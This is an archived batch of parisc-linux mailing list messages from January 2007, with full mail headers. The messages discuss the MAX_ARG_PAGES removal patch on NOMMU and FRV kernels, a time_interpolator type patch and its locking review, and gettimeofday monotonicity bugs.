	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20205-07; Tue, 2 Jan 2007 11:37:14 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D2F577D954;
	Tue,  2 Jan 2007 11:37:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 921DB7D8CC
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Jan 2007 10:52:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19787-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 Jan 2007 10:52:48 -0700 (MST)
Original-Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31])
	by free.linux.hp.com (Postfix) with ESMTP id D343D7D6CC
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Jan 2007 10:52:47 -0700 (MST)
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com
	[172.16.52.254])
	by mx1.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id
	l02HqLAQ018600; Tue, 2 Jan 2007 12:52:21 -0500
Original-Received: from warthog.cambridge.redhat.com (warthog.cambridge.redhat.com
	[172.16.18.73])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id l02HqJCi015667;
	Tue, 2 Jan 2007 12:52:20 -0500
Original-Received: from redhat.com (localhost.localdomain [127.0.0.1])
	by warthog.cambridge.redhat.com (8.13.8/8.13.8) with ESMTP id
	l02HqEOi022337; Tue, 2 Jan 2007 17:52:14 GMT
In-Reply-To: <65dd6fd50610101705t3db93a72sc0847cd120aa05d3@mail.gmail.com> 
X-Mailer: MH-E 8.0; nmh 1.1; GNU Emacs 22.0.50
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Tue, 02 Jan 2007 11:37:09 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OsPoZUREeSE5SL6WZHQhtLp2IGRvb8Ad
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24188

Ollie Wild <aaw@google.com> wrote:

> - I haven't tested this on a NOMMU architecture.  Could someone please
> validate this?

There are a number of potential problems with NOMMU:

 (1) The argument data is copied twice (once into kernel memory and once out
     of kernel memory).

 (2) The permitted amount of argument data is governed by the stack size of
     the program to be exec'd.  You should assume that NOMMU stacks cannot
     grow.

 (3) VMAs on NOMMU are a shared resource.

However, we might be able to extend your idea to improve things.  If we work
out the stack size required earlier, we can allocate the VMA and the memory
for the stack *before* we reach the point of no return.  We can then fill in
the stack and load up all the parameters *before* releasing the original
executable.  That would eliminate one of the copied mentioned in (1).  Working
out the stack size earlier may be difficult though, as we may need to load the
interpreter header before we can do so.

Overall, I don't think there should be too many problems with this for NOMMU.

David
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] remove MAX_ARG_PAGES
Date: Tue, 02 Jan 2007 18:18:48 +0000
Lines: 74
Approved: news@gmane.org
Message-ID: <23996.1167761928__15132.5606079356$1416624246$gmane$org@redhat.com>
References: <20061229200357.GA5940@elte.hu>
	<65dd6fd50610101705t3db93a72sc0847cd120aa05d3@mail.gmail.com>
	<1160572460.2006.79.camel@taijtu>
	<65dd6fd50610111448q7ff210e1nb5f14917c311c8d4@mail.gmail.com>
	<65dd6fd50610241048h24af39d9ob49c3816dfe1ca64@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624246 21984 80.91.229.3 (22 Nov 2014 02:44:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:06 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-arch@vger.kernel.org,
 Peter Zijlstra <a.p.zijlstra@chello.nl>,
 Andi Kleen <ak@muc.de>,
 linux-kernel@vger.kernel.org,
 David Howells <dhowells@redhat.com>,
 linux-mm@kvack.org,
 Linus Torvalds <torvalds@osdl.org>,
 Ollie Wild <aaw@google.com>,
 parisc-linux@lists.parisc-linux.org,
 Arjan van de Ven <arjan@infradead.org>
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Jan 2007 18:37:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 02 Jan 2007 19:37:53 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A93E47D96F;
	Tue,  2 Jan 2007 11:37:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20333-04; Tue, 2 Jan 2007 11:37:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 336577D963;
	Tue,  2 Jan 2007 11:37:12 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 299DD7D765
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Jan 2007 11:25:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20038-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 Jan 2007 11:25:02 -0700 (MST)
Original-Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31])
	by free.linux.hp.com (Postfix) with ESMTP id 6A7017D757
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Jan 2007 11:25:02 -0700 (MST)
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com
	[172.16.52.254])
	by mx1.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id
	l02IIo2i008772; Tue, 2 Jan 2007 13:18:50 -0500
Original-Received: from warthog.cambridge.redhat.com (warthog.cambridge.redhat.com
	[172.16.18.73])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id l02IIng4023071;
	Tue, 2 Jan 2007 13:18:49 -0500
Original-Received: from redhat.com (localhost.localdomain [127.0.0.1])
	by warthog.cambridge.redhat.com (8.13.8/8.13.8) with ESMTP id
	l02IIm2j023997; Tue, 2 Jan 2007 18:18:48 GMT
In-Reply-To: <20061229200357.GA5940@elte.hu> 
X-Mailer: MH-E 8.0; nmh 1.1; GNU Emacs 22.0.50
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Tue, 02 Jan 2007 11:37:09 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tZSodpc4PTRtDujGPjIwAfgxc2tpZAsw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24189

Ingo Molnar <mingo@elte.hu> wrote:

> FYI, i have forward ported your MAX_ARG_PAGES limit removal patch to 
> 2.6.20-rc2 and have included it in the -rt kernel. It's working great - 
> i can now finally do a "ls -t patches/*.patch" in my patch repository - 
> something i havent been able to do for years ;-)

I get a NULL kernel pointer reference with this patch with FRV in MMU mode.
It's whilst the kernel is attempting to execute init:

(gdb) bt
#0  0xc0063d54 in do_anonymous_page (mm=0xc05c1a04, vma=0xc05c884c, address=3221225457, page_table=0xdc00bffc, pmd=0xc05c6f00, write_access=0) at pgtable.h:525
#1  0xc006468c in __handle_mm_fault (mm=0xbffffff1, vma=0xc05c884c, address=3691036668, write_access=1) at memory.c:2404
#2  0xc0061c18 in get_user_pages (tsk=0xc034eba0, mm=0xc05c1a04, start=3221225457, len=1, write=1, force=0, pages=0xc0353b80, vmas=0x0) at memory.c:1064
#3  0xc0084c7c in copy_strings (argc=0, argv=0xc0388c3c, bprm=0xc0388b88) at exec.c:326
#4  0xc0084dac in copy_strings_kernel (argc=1, argv=0xc05c884c, bprm=0xbffffff1) at exec.c:365
#5  0xc0085f5c in do_execve (filename=0xc0387000 "/sbin/init", argv=0xc026e8c8, envp=0xc026e950, regs=0xc0353bf8) at exec.c:1158
#6  0xc000f55c in sys_execve (name=0x1 <Address 0x1 out of bounds>, argv=0xc026e8c8, envp=0xc026e950) at process.c:263
#7  0xc000e1e0 in __syscall_call () at arch/frv/kernel/entry.S:878
#8  0xc000e1e0 in __syscall_call () at arch/frv/kernel/entry.S:878

The problem appears to be that current->mm is NULL.  It's a bit difficult to
say for sure because gdb or gcc determined that the error is in pgtable.h, but
doesn't seem to have determined which one.

However, looking at the code, I think it must be this:

	static int do_anonymous_page(struct mm_struct *mm, ...)
	{
		...
		update_mmu_cache(vma, address, entry);
		...
	}

But that uses current->mm, which is NULL, via this function:

	[include/asm-frv/pgtable.h]

	/* * preload information about a newly instantiated PTE into the SCR0/SCR1 PGE
	cache */

	static inline void update_mmu_cache(struct vm_area_struct *vma,
					unsigned long address, pte_t pte)
	{
		unsigned long ampr;
		pgd_t *pge = pgd_offset(current->mm, address);
		pud_t *pue = pud_offset(pge, address);
		pmd_t *pme = pmd_offset(pue, address);

		ampr = pme->ste[0] & 0xffffff00;
		ampr |= xAMPRx_L | xAMPRx_SS_16Kb | xAMPRx_S | xAMPRx_C | xAMPRx_V;

		asm volatile("movgs %0,scr0\n"
			     "movgs %0,scr1\n"
			     "movgs %1,dampr4\n"
			     "movgs %1,dampr5\n"
			     :
			     : "r"(address), "r"(ampr)
			     );
	}

This really oughtn't to be called in this situation, I suspect.  I could just
skip the operation if current->mm is NULL, but I'm not sure that that's the
right thing to do.  Maybe I should be using current->active_mm instead.

Everything works fine without the patch.

David
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC][PATCH] use cycle_t instead of u64 in struct
	time_interpolator
Date: Tue, 2 Jan 2007 22:33:25 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <200701022233.25697.deller__37301.6776670285$1416624246$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624246 21988 80.91.229.3 (22 Nov 2014 02:44:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: linux-kernel@vger.kernel.org
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Jan 2007 21:34:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx084) with SMTP; 02 Jan 2007 22:34:17 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 89BEE7D967;
	Tue,  2 Jan 2007 14:34:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25248-03; Tue, 2 Jan 2007 14:34:11 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 710C97D969;
	Tue,  2 Jan 2007 14:34:09 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 38B327D966
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Jan 2007 14:34:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24919-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 Jan 2007 14:34:03 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 3E3DF7D959
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Jan 2007 14:34:03 -0700 (MST)
Original-Received: (qmail invoked by alias); 02 Jan 2007 21:34:01 -0000
Original-Received: from mnhm-590c2f8d.pool.einsundeins.de (EHLO p100.box) [89.12.47.141]
	by mail.gmx.net (mp053) with SMTP; 02 Jan 2007 22:34:01 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[; fY@)WscF2iV7`,a$141g'o,7X
	?Bt1Wb:L7K6z-<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(e}
	`-QV{#%&[?^fAke6t8QbP; b'XB,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"
	["ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6/mvdGtNbUkoDenGPWgn+/dkZ2hlN8qi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24190

The 32bit and 64bit PARISC Linux kernels suffers from the problem, that the gettimeofday() call sometimes returns non-monotonic times.
The easiest way to fix this, is to drop the PARISC-specific implementation and switch over to the generic TIME_INTERPOLATION framework.
But in order to make it even compile on 32bit PARISC, the patch below which touches the generic Linux code, is mandatory. 
More information and the full patch with the parisc-specific changes is included in this thread: http://lists.parisc-linux.org/pipermail/parisc-linux/2006-December/031003.html

As far as I could see, this patch does not change anything for the existing architectures which use this framework (IA64 and SPARC64), since "cycles_t" is defined there as unsigned 64bit-integer anyway (which then makes this patch a no-change for them).

Ok, not Ok ?

Regards, Helge


Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/include/linux/timex.h b/include/linux/timex.h
index db501dc..9a24e50 100644
--- a/include/linux/timex.h
+++ b/include/linux/timex.h
@@ -255,10 +255,10 @@ struct time_interpolator {
 	u8 jitter;			/* if set compensate for fluctuations */
 	u32 nsec_per_cyc;		/* set by register_time_interpolator() */
 	void *addr;			/* address of counter or function */
-	u64 mask;			/* mask the valid bits of the counter */
+	cycles_t mask;			/* mask the valid bits of the counter */
 	unsigned long offset;		/* nsec offset at last update of interpolator */
 	u64 last_counter;		/* counter value in units of the counter at last update */
-	u64 last_cycle;			/* Last timer value if TIME_SOURCE_JITTER is set */
+	cycles_t last_cycle;		/* Last timer value if TIME_SOURCE_JITTER is set */
 	u64 frequency;			/* frequency in counts/second */
 	long drift;			/* drift in parts-per-million (or -1) */
 	unsigned long skips;		/* skips forward */
diff --git a/kernel/timer.c b/kernel/timer.c
index c2a8ccf..d38801a 100644
--- a/kernel/timer.c
+++ b/kernel/timer.c
@@ -1624,7 +1624,7 @@ struct time_interpolator *time_interpola
 static struct time_interpolator *time_interpolator_list __read_mostly;
 static DEFINE_SPINLOCK(time_interpolator_lock);
 
-static inline u64 time_interpolator_get_cycles(unsigned int src)
+static inline cycles_t time_interpolator_get_cycles(unsigned int src)
 {
 	unsigned long (*x)(void);
 
@@ -1650,8 +1650,8 @@ static inline u64 time_interpolator_get_
 
 	if (time_interpolator->jitter)
 	{
-		u64 lcycle;
-		u64 now;
+		cycles_t lcycle;
+		cycles_t now;
 
 		do {
 			lcycle = time_interpolator->last_cycle;
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC][PATCH] use cycle_t instead of u64 in struct time_interpolator
Date: Tue, 2 Jan 2007 14:44:31 -0700
Lines: 7
Approved: news@gmane.org
Message-ID: <20070102214431.GA7317__27333.5266313099$1416624246$gmane$org@parisc-linux.org>
References: <200701022233.25697.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624246 21993 80.91.229.3 (22 Nov 2014 02:44:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:06 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <willy@parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Jan 2007 21:44:33 -0000
Original-Received: from palinux.external.hp.com (EHLO mail.parisc-linux.org) [192.25.206.14]
  by mx0.gmx.net (mx099) with SMTP; 02 Jan 2007 22:44:33 +0100
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 30BBE494007; Tue,  2 Jan 2007 14:44:32 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200701022233.25697.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: deqvcVdvRkkeaauPfGRqx+xmdWkvKJMa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24191

On Tue, Jan 02, 2007 at 10:33:25PM +0100, Helge Deller wrote:
> Ok, not Ok ?

Um, this is still doing cmpxchg() with insufficient locking.  So, not
OK.



From - Thu Nov 08 21:35:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC][PATCH] use cycle_t instead of u64 in struct
Date: Tue, 2 Jan 2007 19:02:31 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200701030002.l0302Vx5017621__22916.0389550545$1416624247$gmane$org@hiauly1.hia.nrc.ca>
References: <200701022233.25697.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624247 21994 80.91.229.3 (22 Nov 2014 02:44:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:07 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2007 00:02:34 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx098) with SMTP; 03 Jan 2007 01:02:34 +0100
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l0302WcF017622;
	Tue, 2 Jan 2007 19:02:32 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l0302Vx5017621;
	Tue, 2 Jan 2007 19:02:31 -0500 (EST)
In-Reply-To: <200701022233.25697.deller@gmx.de> from "Helge Deller" at Jan 2, 2007 10:33:25 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /JbyCCREbHIyX63NNjQ0ocQqJihyahAm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24192

> The 32bit and 64bit PARISC Linux kernels suffers from the problem, that the gettimeofday() call sometimes returns non-monotonic times.

This certainly needs to be fixed.  I see stuff like this from ping:

64 bytes from 132.246.100.193: icmp_seq=19 ttl=255 time=0.4 ms
64 bytes from 132.246.100.193: icmp_seq=20 ttl=255 time=429496729.5 ms

tar also occasionally prints warning about times.  This is with a
32bit kernel.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:35:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: PA8800 Status (Happy New Year)
Date: Tue, 2 Jan 2007 20:55:49 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200701030155.l031tnmO019463__48514.5686580383$1416624247$gmane$org@hiauly1.hia.nrc.ca>
References: <200701030141.l031fgxn019232@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624247 22001 80.91.229.3 (22 Nov 2014 02:44:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2007 01:56:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx099) with SMTP; 03 Jan 2007 02:56:02 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96C5F7DA39;
	Tue,  2 Jan 2007 18:55:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29880-09; Tue, 2 Jan 2007 18:55:58 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 86F327DA30;
	Tue,  2 Jan 2007 18:55:56 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 88F727DA2D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Jan 2007 18:55:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29846-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 Jan 2007 18:55:52 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id E1ACA7D9F9
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Jan 2007 18:55:51 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l031tnhf019464;
	Tue, 2 Jan 2007 20:55:49 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l031tnmO019463;
	Tue, 2 Jan 2007 20:55:49 -0500 (EST)
In-Reply-To: <200701030141.l031fgxn019232@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Jan 2, 2007 08:41:42 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
